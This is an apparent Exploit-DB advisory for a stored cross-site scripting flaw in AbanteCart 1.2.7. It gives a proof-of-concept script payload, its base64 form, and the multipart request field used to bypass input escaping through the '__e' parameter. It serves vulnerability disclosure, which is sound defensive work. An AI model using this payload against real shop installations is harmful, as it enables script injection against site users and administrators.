AbanteCart 1.2.7 Stored XSS

vendor:

AbanteCart

by:

Kacper Szurek

7,5

CVSS

HIGH

Stored XSS

CWE

Product Name: AbanteCart

Affected Version From: 1.2.7

Affected Version To: 1.2.7

Patch Exists: YES

Related CWE: N/A

CPE: a:abantecart:abantecart:1.2.7

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Webapps

2016

AbanteCart 1.2.7 Stored XSS

By default all user input is escaped using `htmlspecialchars`. But we can pass `__e` value which is base64 encoded and unfortunatelly those datas are not cleaned. For example `address_1="><script>alert(2);</script>&` can be encoded as: `__e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m`. So create new order and set `address_1` value as `__e` using for example Burp.

Mitigation:

Ensure that user input is properly sanitized and validated.

Source

Exploit-DB raw data:

# Exploit Title: AbanteCart 1.2.7 Stored XSS
# Date: 06-12-2016
# Software Link: http://www.abantecart.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description

By default all user input is escaped using `htmlspecialchars`.

But we can pass `__e` value which is base64 encoded and unfortunatelly those datas are not cleaned.

http://security.szurek.pl/abantecart-127-stored-xss-and-sql-injection.html

2. Proof of Concept

For example `address_1="><script>alert(2);</script>&` can be encoded as: `__e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m`.

So create new order and set `address_1` value as `__e` using for example Burp:

```
Content-Disposition: form-data; name="__e"

YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m
```